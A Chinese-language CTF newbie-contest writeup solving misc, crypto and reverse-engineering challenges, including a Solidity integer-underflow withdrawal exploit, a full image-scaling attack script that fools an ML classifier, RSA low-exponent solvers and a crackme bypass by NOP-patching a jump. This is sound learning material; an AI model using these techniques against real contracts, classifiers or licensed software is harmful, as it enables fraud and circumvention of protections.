SCUx401 新生赛writeup

发布于 2020-11-27  1425 次阅读


0XFF 写在前面

其实参赛前没想着拿名次啥的,毕竟大佬太多了,我又菜得抠脚,结果没想到队友这么给力,差点AK了misc,re和Crypto也做出来好多,而我的web和pwn就差得太多了呜呜呜,%一波7RPH小可爱大佬,带我拿到第三,大佬太强力。不过还是学到了很多,开始画出69还拿到了孙神的小礼物,感谢出题的师傅们,%%%。

0X00 misc(我们 7RPH 宝贝真是太厉害了 * 1)

0x00 奇怪的记录

看题目应该就是域名txt记录了,cmd输入nslookup -q=txt flag.0x401.com就拿到了flag。

0x01 流量分析

将流量包拖入wireshark,先查找有无带flag,scuctf之类的字符串,找到一个名为isflag.py的文件记录,然后接着找到了几个文件记录

file.py
name.py
isflag.py
hahahhafindme.py


不难联想到flag与文件名有关,应该就是与hahahhafindme有关,但是提交不对,那就接着找。
然后追踪tcp流,找到了这么一串python代码:

import hashlib
h = hashlib.sha256()
h.update("###".encode())
print(h)

开始没有将二者连接起来,后来突然想到代码中的###应该就是之前找到的文件名,hahahhafindme将###替换掉,运行代码,就拿到了flag。

0x02 签到题

关注一下公众号就有了

0x03 easy_encode

文件如下

401 SCUSCUSCUSCU SCU401 401SCU 401SCU401 401SCU401401 
401401401 SCUSCU401 SCUSCU401SCU 401401401 SCU401SCU 
401401401 SCU401SCU 401SCUSCU SCU SCU401SCU SCUSCU 
401SCU 401401SCU 401SCU401401 SCU SCU401SCUSCU 401 
SCUSCUSCU SCU401 401SCU401 401SCU401SCU SCUSCU SCU401SCU 
SCU401401401401SCU SCUSCUSCU SCUSCU401SCU SCU401SCUSCU SCU401 401401SCU 401SCUSCU SCU SCU401SCUSCU SCUSCU SCUSCUSCU401 SCU SCU401SCU 401SCU401401 # 
401SCU401401 401401401 SCUSCU401 SCU401SCU SCUSCU401SCU SCU401SCUSCU SCU401 401401SCU SCUSCU SCUSCUSCU SCUSCUSCU 401SCU401SCU SCUSCU401 401SCU401SCU 
401 SCUSCU401SCU SCU401SCU SCUSCUSCU401401 SCU401401SCU401SCU 
401SCUSCU SCUSCU401401SCU401 401SCUSCUSCU SCUSCUSCU401401 401 SCU401401 
SCUSCUSCU401401 
SCUSCUSCU401401 401SCU SCUSCU401401SCU401 401 SCUSCUSCUSCU SCUSCUSCU401401 SCUSCU401401SCU401 SCU401SCUSCU SCU401401401401 401SCU 
SCUSCUSCU401401 SCUSCUSCU SCU401SCU401SCU401 SCU401401 SCU SCUSCUSCUSCU 401401401 SCU401401SCU SCU 401SCU401401 401401401 SCUSCU401 SCU401SCUSCU SCUSCU 401SCU401 SCU 401401401 SCUSCU401 SCU401SCU SCUSCUSCU SCU SCU401SCU SCUSCUSCU401 SCUSCU 401SCU401SCU 
SCU SCU401 401SCU 401SCUSCU 401 SCU401SCU 401SCU401401 SCU401 401401SCU SCU401 SCUSCU 401SCU SCU401SCU401SCU401

打开txt发现有SCU, 401, ' '三个符号,猜测是摩斯密码, SCU和401用 . -替换之后

- .... .- -. -.- -.-- 
--- ..- ..-. --- .-. 
--- .-. -.. . .-. .. 
-. --. -.-- . .-.. - 
... .- -.- -.-. .. .-. 
.----. ... ..-. .-.. .- --. -.. . .-.. .. ...- . .-. -.-- # 
-.-- --- ..- .-. ..-. .-.. .- --. .. ... ... -.-. ..- -.-. 
- ..-. .-. ...-- .--.-. 
-.. ..--.- -... ...-- - .-- 
...-- 
...-- -. ..--.- - .... ...-- ..--.- .-.. .---- -. 
...-- ... .-.-.- .-- . .... --- .--. . -.-- --- ..- .-.. .. -.- . --- ..- .-. ... . .-. ...- .. -.-. 
. .- -. -.. - .-. -.-- .- --. .- .. -. .-.-.-

在线工具转一下得到flag ( 由于工具问题我错了近10次5555)

THANKYOUFORORDERINGYELTSAKCIR'SFLAGDELIVERYYOURFLAGISSCUCTFR3@D_B3TW33N_TH3_L1N3S.WEHOPEYOULIKEOURSERVICEANDTRYAGAIN.

0x04 excalibur

用jd打开jar, 得到flag

0x05 赛博朋克隐写行动

看了hint说要找开源代码,就去github搜stego,第一页就有个音频隐写的,链接

拿到工具之后,直接

./hideme Every_Day_is_Night.wav -f

看output,就有flag了

scuctf{We1c0me_To_Va11HallA}

(老酒保行动人了)

0x06 [区块链挑战]带善人

没想到第一次接触区块链竟然是在这.. 源码如下

pragma solidity ^0.5.0;

contract Donation {
    mapping (address => uint) donation;

    event SendFlag(string _email);

    // 捐款!
    function donate() public payable {
        donation[msg.sender] += msg.value;
    }

    // 不捐了,退钱!
    function withdraw(uint _amount) public {
        require(donation[msg.sender] - _amount >= 0);

        donation[msg.sender] -= _amount;
        msg.sender.send(_amount);
    }

    // 输入邮箱, flag 以邮件发送
    function getFlag(string memory _email) public {
        require(donation[msg.sender] > 1e6 ether);

        emit SendFlag(_email);
    }
}

发现withdraw函数里有个整型下溢的漏洞,退几次钱之后咱们的金额就远远超过1e6,sendFlag得到

(因为发邮件脚本错了我试了两天, 最后收到好几条邮件...)

0x07 [AI挑战]到底是6还是9

看了最后放出的hint,才知道这题本质上不是AI题,先看ai的部分源码

# 根据28*28的模型进行预测
def predict_28(filepath):
    resize_img = np.array(Image.open(filepath).convert("L"))
    resize_img = tf.constant(resize_img)[tf.newaxis, ..., tf.newaxis]
    resize_img = tf.image.resize(
        resize_img, [28, 28], tf.image.ResizeMethod.BILINEAR)[0, ..., 0].numpy()
    resize_img = resize_img.reshape(-1, 28, 28, 1)
    resize_img = resize_img / 255
    predictions = small_model.predict(resize_img)
    return np.argmax(predictions) if np.max(predictions) > 0.23 else 11

# 根据140*140的模型预测
def predict_140(filepath):
    resize_img = np.array(Image.open(filepath).convert("L"))
    resize_img = resize_img.reshape(-1, 140, 140, 1)
    resize_img = resize_img / 255
    predictions = big_model.predict(resize_img)
    return np.argmax(predictions) if np.max(predictions) > 0.23 else 11


    # AI看图
    predict_result_1 = predict_140("./static/" + imgId + "." + img_type)
    predict_result_2 = predict_28("./static/" + imgId + "." + img_type)
    if predict_result_1 == 9 and predict_result_2 == 6:
        # 清理垃圾
        os.remove("./static/" + imgId + "." + img_type)
        return Response(json.dumps(
            {"code": 0, "msg": "恭喜你呀",
             "data": {"flag": flag, "res1": int(predict_result_1), "res2": int(predict_result_2)}}),
            content_type='application/json')

9的图片按140预测,6的图片按28预测,根据hint,应该是找图片压缩的逆运算来进行攻击,然后我就又去github搜了一下Image Scaling Attack (论文题目) 还真被我找到了代码, 链接

import numpy as np
from PIL import Image
import cvxpy as cp
import cv2
def get_coefficients(m, n, mprime, nprime, scale_func=Image.NEAREST):
    In_max = 255
    matrix_of_white_box = np.identity(m) * In_max
    white_box = Image.fromarray(matrix_of_white_box.T)
    resized_white_box = white_box.resize((mprime, m), scale_func)
    CL = np.array(resized_white_box).T / In_max
    print(CL.shape)
    print(resized_white_box.size)
    matrix_of_white_box = np.identity(n) * In_max
    white_box = Image.fromarray(matrix_of_white_box.T)
    resized_white_box = white_box.resize((n, nprime), scale_func)
    CR = np.array(resized_white_box).T / In_max
    return CL, CR
def generate_attack_image(source_image, target_image, scale_func=Image.NEAREST):
    source_image_array = np.array(source_image)
    target_image_array = np.array(target_image)
    m, n = source_image_array.shape
    mprime, nprime = target_image_array.shape
    CL, CR = get_coefficients(m, n, mprime, nprime, scale_func)
    print(m, n, mprime, nprime, CL.shape, CR.shape)
    delta_one_vertical = np.zeros((m, nprime))
    intermediate_source_image = source_image.resize((m, nprime), scale_func)
    intermediate_source_image_array = np.array(intermediate_source_image).T
    for col in range(nprime):
        delta_one_vertical[:, col] = get_perturbation(intermediate_source_image_array[:, col],
                                                      target_image_array[:, col], CL, obj='min')
    intermediate_attack_image_array = (intermediate_source_image_array + delta_one_vertical).astype('uint8')
    delta_one_horizontal = np.zeros((m, n))
    for row in range(m):
        delta_one_horizontal[row, :] = get_perturbation(source_image_array[row, :],
                                                        intermediate_attack_image_array[row, :], CR, obj='min')
    attack_image_array = (source_image_array + delta_one_horizontal).astype('uint8')
    attack_image = Image.fromarray(attack_image_array)
    return attack_image
def get_perturbation(source_vector, target_vector, convert_matrix, obj):
    n = source_vector.size
    perturb = cp.Variable(n)
    function = cp.norm(perturb)
    if obj == 'max':
        objective = cp.Maximize(function)
    else:
        objective = cp.Minimize(function)
    constraints = []
    constraints += [source_vector + perturb >= 0]
    constraints += [source_vector + perturb <= 255]
    if convert_matrix[0].size == source_vector.size:
        constraints += [cp.norm_inf((convert_matrix * (source_vector + perturb)) - target_vector) <= (0.01 * 255)]
    else:
        constraints += [cp.norm_inf((convert_matrix.T * (source_vector + perturb)) - target_vector) <= (0.01 * 255)]
    prob = cp.Problem(objective, constraints)
    prob.solve()
    print(prob.status)
    print(perturb.value.shape)
    return perturb.value


def implement_attack(source_image, target_image): 
    source_image = source_image.convert('RGB').split()
    target_image = target_image.convert('RGB').split()
    scale_func = Image.NEAREST
    R = generate_attack_image(source_image[0], target_image[0], scale_func)
    G = generate_attack_image(source_image[1], target_image[1], scale_func)
    B = generate_attack_image(source_image[2], target_image[2], scale_func)
    attack_image = Image.merge('RGB', (R, G, B))
    attack_image.show()
    attack_image.resize(target_image[0].size, scale_func).show()
    attack_image.save("attack_image.jpg")

from PIL import Image

if __name__ == "__main__":
    source_image = Image
    target_image = Image
    try:
        # Source Image
        source_image = Image.open("9.png")

        # Target Image
        target_image = Image.open("6.png")
    except IOError:
        print("File Not Found")
        exit(-1)

    implement_attack(source_image, target_image)

得到attack_img


上传得到flag

0X01 crypto(我们 7RPH 宝贝真是太厉害了 * 2)

0x00 classic_1

密文: fphpgs{u3yy0_gu15_v5_gur_j0eyq_bs_py4ffvp_Pelcgb}

凯撒加密解一下, shift13位得到flagscuctf{h3ll0_th15_i5_the_w0rld_of_cl4ssic_Crypto}

0x01 classic_2

下载文件打开

4c693475494330754c5334674c693474494330754c5334674c5341754c693075494330744c5330754c5330674c5330744c5330674c6934754c6930674c6930744c5330674c5330744c5334674c6930744c5330674c5330744c6934674c6934744c6941744c693075494334744c533074494334674c6934744c6941744c6934754c6941754c6934744c5341754c6934754c5341744c5330754c6941744c5334754c6941744c6934754c6941744c5330754c6941754c6934754c6941744c5334754c6941744c5330754c6941754c693075494334754c693475494330744c533074494334754c693475494334754c5334674c5334754c6934674c5330744c5334674c533475494334744c533074494330744c533075494330744c693475494330744c5330744c69303d

都没有超过f,猜测可能是十六进制,将其转化为字符串
Li4uIC0uLS4gLi4tIC0uLS4gLSAuLi0uIC0tLS0uLS0gLS0tLS0gLi4uLi0gLi0tLS0gLS0tLS4gLi0tLS0gLS0tLi4gLi4tLiAtLi0uIC4tLS0tIC4gLi4tLiAtLi4uLiAuLi4tLSAuLi4uLSAtLS0uLiAtLS4uLiAtLi4uLiAtLS0uLiAuLi4uLiAtLS4uLiAtLS0uLiAuLi0uIC4uLi4uIC0tLS0tIC4uLi4uIC4uLS4gLS4uLi4gLS0tLS4gLS4uIC4tLS0tIC0tLS0uIC0tLi4uIC0tLS0tLi0=

末尾的等号应该就是base64编码,得到:

... -.-. ..- -.-. - ..-. ----.-- ----- ....- .---- ----. .---- ---.. ..-. -.-. .---- . ..-. -.... ...-- ....- ---.. --... -.... ---.. ..... --... ---.. ..-. ..... ----- ..... ..-. -.... ----. -.. .---- ----. --... -----.-

摩斯电码解码,然后花括号Unicode解码一下,拿到flag.

0x02 RSA-1

e=3,直接用低加密指数攻击脚本跑

import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
e = 3
n = 17076697689025821279984148703479525857912324396375097877800474725170566885465833732966897433803722770843910606215420934526050277173030062927090405120718833473629930226217051580832179577629652910778242159108718885516149768995851175071714817922775555170553827627677999093195969471873530031984433631909841287167351534954860426002075822101506835880510505034002629168205724869128357383388034971402180363910826536064357845040799329301895842061729319929568340334416516796267886218679042058969927331452548377324349084816441144473807565907927986545026739667157223640848553663532280797054758912745891410981282851031085852562257
flag = b"scuctf{**************}"
m = bytes_to_long(flag)
# c = pow(m, e, n)
c=892408374578063131162925795619920779766603018609992406621503024400320421262482556891045333045408815199768659578199823419716777827460090306221618906101139272423449131313434967763664295600593363990276765767066758967765012850672428517786210813209127040442832574380675662826137452780727264357
print("n = ", n)
print("e = ", e)
print("c = ", c)
i=0
def get_flag(c,n):
    i = 0
    while True:
        if(gmpy2.iroot(c+i*n, 3)[1] == True):
            flag_bin = int(gmpy2.iroot(c+i*n, 3)[0])
            flag = long_to_bytes(flag_bin)
            print(flag)
            break
        i += 1
get_flag(c,n)

0x03 RSA-2

题目只给了c, n, e, 用factordb把n分解得到p, q, r. 然后就是常规思路了

import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes
flag=''
p=319438022064098846441615805897528174851
q=334688613728124045578795340681788885633
r=199045230832669039221046041578658179479
e=65537
d=gmpy2.invert(e,(p-1)*(q-1)*(r-1))
n=21280377217500047527333756734822477656202976970565771310208586426341167199342722337358334403397116963913950346969157
c=7162732898109470668490761172640544970587920562229245172318483665877098759808623298921271357899945260719802967519239
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)

0x04 math_1

CRT求解即可

# gcd,求最大公约数函数,递归算法,有了扩展欧几里得算法之后,此函数可以不用
def _g_c_d(a, b):
    if 0 == b:
        return a
    return gcd(b, a % b)


# 扩展欧几里得算法,返回值列表中,x是a的逆元(mod b),q是gcd(a,b),若x是0,则表示没有逆元
# y是计算过程中的迭代的参数,可以不用管
# 此算法实质上是广义欧几里得除法的逆运算,用递归可以体现出这个逆运算的过程
def Ex_Euclid(a, b):
    if 0 == b:
        x = 1;
        y = 0;
        q = a
        return x, y, q
    xyq = Ex_Euclid(b, a % b)
    x = xyq[0];
    y = xyq[1];
    q = xyq[2]
    temp = x;
    x = y;
    y = temp - a // b * y
    return x, y, q


# 获取a的逆元(mod b)的函数,目的是为了封装获取逆元的功能
def Get_Inverse(a, b):
    return Ex_Euclid(a, b)[0]


# 获取a和b的最大公约数函数,目的是为了封装获取最大公约数的功能
def gcd(a, b):
    return Ex_Euclid(a, b)[2]


# 判断所有的mi是否两两互质
def Is_Coprime(m_list):
    for i in range(len(m_list)):
        for j in range(i + 1, len(m_list)):
            if 1 != gcd(m_list[i], m_list[j]):
                return 0  # 返回0表示不是两两互质的
    return 1  # 返回1表示是两两互质的


# 获取所有的Mi
def Get_Mi(m_list, M):
    Mi_list = []
    for mi in m_list:
        Mi_list.append(M // mi)
    return Mi_list


# 获取所有的Mi的逆元
def Get_Mi_inverse(Mi_list, m_list):
    Mi_inverse = []
    for i in range(len(Mi_list)):
        Mi_inverse.append(Get_Inverse(Mi_list[i], m_list[i]))
    return Mi_inverse


# 中国剩余定理,返回值为最终的x
def C_R_T():
    m_list = [98322893597752961619370563391410023092631255643229094456844212946200900674501, 103501064421432515865495706332563341932878399224373603095122755260636522677977, 76711511896647681935514163397764365134820340497456255363520837692293095620341, 72370250465068239912785530138188546728077410192630462244877988550386576055879, 114956409200995335462711880100659849567470218273850117961314002685227869718869, 98782351834031741308334710048249355654792805860324373327757986465493593895877, 82508264458376945464953972386102816667965733864904526411387436082139232440159, 82980211530916591247542887561689127247583302308609036957207509547942837615179, 64290224178056506396804159807811319033715270030937031870755084502988752312017, 67171222186394359133856154067123630751068844444022022973414714192748228347431, 61812729595784611149617233189115176611024755625409715242432378784240640996893, 71019822879379595431529742761439307927336510713775032327502491147960549355709, 114418566831696536284405184499231653459899378580499038544118297819735655082601, 73212974984332168113014495159492316331290248540561709769782042681402878123711, 75054001921106629276860967317005557393340229806478323392036521787406214737629, 85043933753749105245629336247982555879301312944434772255246249474406591380817, 113516465267791838668390855868342438041947103768247749599114150411078841783999, 109172135173168687139961565660246502778165573446749426968942472216109580440953, 102330122356826643628270910557808356242868925020218203210421253606766079073517, 63841775199880865584222382138183290294783847918130612606041074172546158864957, 114612635325346054461402687860946651543299133323742134755269948647839058588411, 67198869169189366773510255754855986890944658695378445780590071552028668159853, 79478154426891203647043759749420800992642269050468017604126547191726653556323, 82669206184085998217093306452444903372078878803926354463417798219670475454513, 105338166512024736001189308673202164636790317547139700412679912610727144593837, 86304565303623887407810674783300680899896755835343767417908265800861907825629, 91938747650764625474404403638637686958476351306543305925065224512031542649971, 75159388330554274152863013078906352647753966342229243910946164179601532389489, 97434002609109774750624917058020989608237043100183459897972352750721544458303, 83930147382245263122954675648886250398537360494421826819324499984234979088021, 110120244822469529583123282829763804411006366264514827454628789277099105592239, 78464059828525539969527372016980170194358614382637585688927752387719412176807, 93469866050356156985777546899953828835073859020540291630034337120149022032493, 85342966210614480351866669012301604475687923892331379930271577752809181315983, 96143187100558189347961876619663792127736560676401485120219096525545916977079, 77606647956486881089944086829482248733798406846413127679087673021682582759829, 87844149373471696530911976742748511755265331081717037442539554482609086534521, 69228435275521090881918621605182610475276861986426807327515213337229419238137, 63310806174823491151942186724574196591309889092484237995500435263106175186871, 101876395841578628115327727592385737175195418609958154308330850780627002005291, 85914722029695364582882541989060309423956636205127168231996936010278105532601, 61178005973322697166336822700910850273290875536229514532890720945302866172061, 67095142255363040773800824228092763795135290459900064218270100167883063526479, 97455119280718981947471895862216690217883989443748698647247352983316005431463, 82784485295584642090181525957766210079820828584581139425784053105185955395359, 98963247607695603040953537110061238944664833352644638841479475147671145466489, 62139627186311877162586231319454926985455696156335313882239888279745029139113, 74150282304184238154253089052547315783186581600075027195720963707296349642749, 111609078662423907645491082766963866774024523786412638523636938957064756021513, 86928299760104002918101229327493771693132969436399213550842181040708127918679, 60300082851635546409150991388049978847223894757840650748514532217547975538603, 103339459189427899339892108189550118920574945574014295233460141659709632304423, 101605969534957133664389069057489881516452625206383142852440759082586651331039, 95603380614167492151722734070212825001579884059947204752357196143289876860213, 76739667563859736076440241185290625615030061298668170587875099561881452513313, 64992359625090399402688392700087511901280183071268117175005984003610335515883, 65281826546535399810648599708318924793896677173836147247977193233398936118221, 98141517780733202740189002388920075967443595719269426127957902092338869838707, 110757833330127448295528545228134099281074922420101172277946418966386021642813, 100413922219579537595434506832100941466779965089471846098228052196120944500513, 99465059432629979584001844493931659183551869553373896524590829267733364204399, 100366881534562815260320095069169464843127564824003494956140016992193730555377, 93284537537167494371160051898575420484708102511292871303611681773352844013267, 108349316035814048657592728448564282615581381729459098654212893446844012118647, 78154246295771310144748197164891668102400194311938462790880394795698179742787, 115585715568442088831275516777383759318114188560420252218102181129972342964917, 106318132085576529631149250416799867104542801071424685035841802951289208583133, 82143261644152251718367756617751859245346472720919637362430352178500640620933, 100757414368322096885624840598082701606406041427352341764063240666581579704141, 84725415974542382044701737830315729268062107419216185373670210613899575011981, 92117319626037309268173710724420462653662065381881326239972570988890824101367, 58298657256450970466252531083956419024798791780824866422663108622153908118243, 88636967118996343457164489434015620721039706057400268566651541634075356262037, 83321039871547411751314107766334449405693938050072193355612342224972053868277, 98969369512507333981869424050869357265250081950990911617043119368599021930233, 99907020278409695394912009390253354157990843428617812117145819005347271000917, 95430319825886448624135412184183017840139909503961521635271797790946948652313, 60643295855773093665331514465338981177685824052789775201536369571748479761107, 82763576316867508528107464646942975935957748177975636566104453525651717293863, 69555357347920325846758388957335609316181651575234878928941327120478026994239, 59918708975848782810145263028403482047850606847334271964675912821586942288081, 76917277229440371597130296489152872127944364978138060823893507734097777224517, 96141705042598371566192248826784937259519147660609255016147978849506494864963, 60867191004353176454605205967789995579236056005157398684297230560816724063799, 69725855899601622280579855480311559114223240208913373383905931623963287866291, 88530897087353436978387874876914520407656480639109168117851584017738722994817, 103472416459950823982382177282980559922052800646544652230808832821597284389819, 70421784293352318191647116932688295426292192955932160800668108402867461375961, 78209301299730016344306581884482396139599401731639235472294663366588678913937, 82617849365765025957152784198864818620187489934272290885026995820439818331759, 95947374257198027069217284778672288826983980025063515120526983903730359174951, 85570994747240748392491549123466338867271956696876061218064511492306641916851, 87814426852666663603026787016089797900967761439130591254505946500656108794203, 80258583014768735688427224569620935001715184593588912624553906788097813524257, 110262448309420300580796726234028122990104340846135366049024408136863513841489, 95087720842342508977251131802860973543662829826921588160577556352257066099393, 64379149638022454283945780812072649201548798128274449988569396524751010740033, 88867651919095011093834431878327511607231122805745216421548460175928238988991, 70450728569253995302360268471542409965624616160379463469258094072511160393227, 105620149611316734977516714020213014287550316701359349105422455817940607360481]
    b_list = [86773026465709761387765123513197675629930860311873405799697532853819257841996, 51672459790449279655237097913281264778646186311193460107835999211977505515251, 46344738446381044886200194438907644558014686734098603365380653263781790814615, 3632439133573716791170484378400561602812290283990931187970205954937895904729, 19587190554142194106371563996017088087136252905633223159581767947689769241295, 34108102296295606735544158603047187407755573448393645346233767834144517921977, 30914871611502331128965331260304191815308435418937404899337422813448715036096, 77492311209933470228392479581326299831504167121027854708885270676381102085066, 20385167654996336539689002099412601985957703718453341367679078145626230697509, 50621398380383775182767677415829142129016875737449503259838924767789430475913, 59575107882102198149216275317394213133582982817504876956342266371448030851843, 62409152613624821686109149398127292296302319655926292321321133620734517459826, 21576081671857733218073985270551653592051276285257125174744501200539849704217, 40471627249448930367057168747386548703888346725208808083939878741890820452588, 57665381407257162218105912608492461730069246046906847507524217823601676925116, 33921663424408497079249425499003571030435024762796475294077866653307348281640, 46705223313652861138544965461938523377650938780124383443663628157743688058637, 64571719622134619908983300387042918009332922506362450815042391980980411439681, 95950749792516421490667183821875448632733254984540073206541149738303462036381, 59835931661677727196545805197778683364575422410430052138896515254103035135055, 108756558942850585743821561306695472809059818208258654013468635048668018539875, 51852613141779529667186813467805551629634958765334699344520696824680761728543, 30453868158251655272953877157796300516564213186031198515476441359919766602035, 38469175108229930769690881823627157036367980362118924873915305263412606968486, 3742651371961828814012374188417593237981499431829564677298768584610404496962, 7793308984925533907911021089577768781178510332699912742856010704077873513668, 91020755206990766120984942017915010868109108401402715610305176175877047261505, 39894690019642311070335750117479313901215483364091209571261242590280713006732, 69390585212696667751908633991392515096267100034859119806939736490161843404951, 73271672286299760056832394300904303367173421191558068491522868667791365835935, 33551216093216219491717101112936512433965963443587253663738114246361642760620, 49908914044901090214858988494710254537148613283209520195149585073769042171848, 18462124312603525714210048587726306891082796366454357145443846515189715500423, 53092656124162182082579577768035930364228378892123635454146697785093589440676, 44855429454499273671701920167780229657625865251224902699647300344724621805415, 55512551352437709655818531235403362481772862907757693489744488587492109222805, 46796412238682280318009093754738410821835052982668849908402491573660927990911, 29568113293936275257495803992634775755114602725844156801089224025704416070728, 43929956266903483316417356989025396471644935892516065638693691856944084625834, 46635681229622086990800928453362635807887891990778599531150902352690429804534, 23582542734493345261814234765258657644390538711231666160192326874492034980477, 15246055378524233442149647346350279192194339706231358524053048301636519092529, 42269052699911825682990698603452580863650075787618608303669435495396421438686, 67237029587267084896218909204895083871217166709224799381133088849873944323959, 41748719097549687762677686919047549402675530117308101301927353704785620889735, 66203785347325148863438434992442898994178816475247744030431167248458306919745, 16456585786527326454385965888776717658737469811845631629501868045620030313668, 38225131517649648803722446742637355637542035270269115195359882015313306897045, 79520857812879300318067276285834183690127898805847259383660169482823848453670, 3796827995346679865637970887279551794118130077878317261498700251157982134978, 16917676512955961203986781621729351802284056591564259493876943057630732503979, 40404834325767489915779286930966559794784517931267480187846871370464891543236, 36473692380443707657129517825264985328365045311957789546215612503686418106417, 53677728636903873187331644439474452408297384460817799228722677591571776741293, 14119822290276365540140542922637009403102404162363103726286414697707078070099, 18518930574416509988280373173666594617310268685131147381010711571340536829712, 37356375999368573863449672078974508385217257782526621166599552114459723439044, 48975561651782112357298692130778338615586224640315735374720338587007220692757, 9245367243010630659160740679152201977909103993204476771323320491884890085527, 57556468905671925315124417772532209206784747045667281284458919706918433798416, 49427674838823831226757676664545570336119803235297222606587289412731742037056, 22693107100716193763703394202564352487052475203107505566935627849505544105196, 79432505119665492153024990469045842423257516042509255783064574732065626384811, 5771407593105806399581705574110000310243618221471558366826608849255294564960, 15787363622103505023488040782134580826155195958475839727892517225234166330908, 69867330562807744231110990839892294279129301626764829272274997745410010194918, 92946131479325610738133911854567232002634637901242684397764920905272636994103, 41107337304991990572343425139607711907538373135273443567419110699584704370939, 24666917094554953091772454267255038258764386825067473488009081396922804673147, 30096489362373886767735296069217947153279699984333786071331486790799767494883, 5555402516779891204945264081781455315527366805381267381999530748732704192325, 47450752712234615029961853515488202930964847245592561678715732359715938358872, 66714933962266657733686343926967409610336598894931291376441470423371059102452, 76037347863056990492194070432036224849317864565251372857403018435705773900195, 69311369554534567397948849080206820732216239261975198128902636342414042649565, 42488217792819911525586064016942344891599769345977363663621845889383552573714, 93917199943721538094903817984112731354132142485514651077926114609731493274743, 19322830863248343940992734389087820541145700861279034578112206676698170513333, 29929917855455602406378427386287629796853965798392157625020710016797394105464, 30635008141071943330396422611351769032240260381891434351353283884192744143447, 20415268889627076355665979220812103128323853679636208783065126615235765068575, 39254260676780897551137853581372864242538884327166085637880452524022541526421, 4654041107551197255569400459406390787633094662365698472274655121960425618537, 22196097300245821059120380444096736750939360053942406230557858535696312839329, 48244611575813849774282858226850588369556290156107144671500946739010354324382, 73283186241162637052609627196625716495148360350096601003542643411771878177324, 5648631112464320249182629398913652254971566363767165018964799791047372636667, 64965328303927951152309334471817975601944861447791786260329504743258371528981, 50503014931030647500391520872323846730176547206928514114373036015251804971498, 66391668550839793682708829116587072003208124274808225708127656966974231772039, 42638428819838524967364890603591934561674437410660677967485982547796803031474, 29532164361729413931599394145261034970411164718578228104821381662199076776115, 12220136036615070320458680534263923184861126383793626712775062769918314249056, 71386656535531919832507980826033082710605890653990934642945824155551930752220, 35108252484464000119642146142876310430382685746859567094535871806480338127250, 67805014441016851144086472019092224742637167325401110490585195487575258594520, 5599473479942226395896916108212768752614510253263946683605426157140233307339, 59871873500259215300557995382407656042435359245123254105092245649605778645217, 7838129866587473822621853526926943147433183862225379627434389477059346394856, 97247810983317098374574300948285488843897979497180809246463680847231707592356]
    M = 1  # M是所有mi的乘积
    for mi in m_list:
        M *= mi

    Mi_list = Get_Mi(m_list, M)
    Mi_inverse = Get_Mi_inverse(Mi_list, m_list)
    x = 0
    for i in range(len(b_list)):  # 开始计算x
        x += Mi_list[i] * Mi_inverse[i] * b_list[i]
        x %= M
    return x


if __name__ == '__main__':
    print("flag为:%d" % (C_R_T()%1145141145141145141145141919810))

0x05 RSA-3

一开始只看了info还以为是共模攻击, 然后看了task才发现c1是密文, c2是乱入, 又知道了e=3, 跟RSA-1一样用低加密指数攻击跑就行

import gmpy2
from Crypto.Util.number import *

n = 91271647735744709097708757371810693819959773890255602892321052899291140524662404139036987856738557165460502348870154514187118388083897953512262523467951513248663220055679646915049292032986252072883347567763269025940548912246834125522235064649335386094011441612211361270863086815851273615300955370973053395447
c1 = 8473924177689385097361186953656797062650227841190040965380473377780644233766714939608585534305414668494659709275756172697799483669925043356688884324887478394528746881611781366747757023562008158800275672858865552852268001893
c2 = 8473924177689385097361186953656797062650227841190040969573197360345161215089076875501807117350711332682919389146002627145413765770680053006201105979670824332086933186715988612908312603963949643839015421185340358831260317777
def get_flag(c,n):
    i = 0
    while True:
        if(gmpy2.iroot(c+i*n, 3)[1] == True):
            flag_bin = int(gmpy2.iroot(c+i*n, 3)[0])
            flag = long_to_bytes(flag_bin)
            print(flag)
            break
        i += 1
get_flag(c1,n)

0x06 math_2

发现是要算二次同余方程, 那不得mathematica?

math2

取小的x之后算一下就出来了

result = 732801025780658791900010899303199208933111943525875138490440727430546888153518985058336834409501987347490118623489611480915480075486097312160196897614257
print("flag is scuctf{%d}"%(result%1145141145141145141145141919810))

0x07 babypad

脚本如下

import binascii

from Crypto.Util.strxor import strxor
# flag = b'???'
# def pad(M):
#     pad_length = 16-len(M)%16 #11
#     return M.decode()+chr(pad_length)*pad_length #这里的chr(pad_length)*pad_length跟后面c的05050505可以知道pad_length==5此时len(M)=16n+11==str=27刚好符合
#
# key = b'x'*len(flag)
# cipher = pad(strxor(flag,key))
# print(cipher.encode().hex())
c = '0b1b0d1b0c1e031d190b01270c0a111b1313131305050505050505'#这里的c已经减去了多余的chr(pad_length)*pad_length部分
str=binascii.a2b_hex(c)
print(str)
print(len(str))
flag=''
key=b'x'*len(str)
flag=strxor(key,str)
print(flag)

0X02 re(我们 7RPH 宝贝真是太厉害了 * 3)

0x00 [re1]easyF5

下载文件拖入ida,进去就看见了flag。

0x01 [re3]pytrade

将下载的pyc文件反编译,得到:

#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
import base64
import os
flag_base64 = b'c2N1Y3Rme3B5N3I0ZDNfMXNfZjByYjFkZDNufQ=='
inp = input('Please input your flag:')
# WARNING: Decompyle incomplete

base64解码一下c2N1Y3Rme3B5N3I0ZDNfMXNfZjByYjFkZDNufQ==即可。

0x02 easypack

用kali脱壳后用ida查看


解密脚本如下

str='aqgqftik"gM~!&`|MgbjMd!`kMe!##o'
flag=''
for i in str:
    flag+=chr(ord(i)^ord('\x12'))
print(flag)

0x03 crackme

打开之后随便输个字符串,看到Invalid activation code的提示,用od搜索这个字符串


把6A 00那里的跳转头代码用NOP填充一下

随便输入一个字符串,得到flag

0x04 maze

打开先用ida看一下

根据maze[10*balabala]知道迷宫的一个边是10,又line27的 >5的条件猜想这是个10x5的maze winhex打开maze得到


得到有50个字符,显然这是个5x10的maze, 它长这样

m*   *****
   * *****
****  ****
*****    *
********  

又根据ida我们知道 D U R分别控制Mr.Ma ( doge) 的下(down), 上(up), 右(right)

所以flag是: DRRURRDDRDRRRDR

0x05 decryptme

先看看ida伪代码

main函数部分:

v6的长度是32,buf是'34e8h9?<<mkCD>F@DEDCzHxxKRQRNSRS'

encrypt部分:

dowhile部分看似花里胡哨,其实就是v6+v7

解题脚本

flag=''
str='34e8h9?<<mkCD>F@DEDCzHxxKRQRNSRS'
n=0
m=0
for n,i in enumerate(str):
    flag+=chr(ord(i)-n)
print(flag)

0x06 pytrade-plus

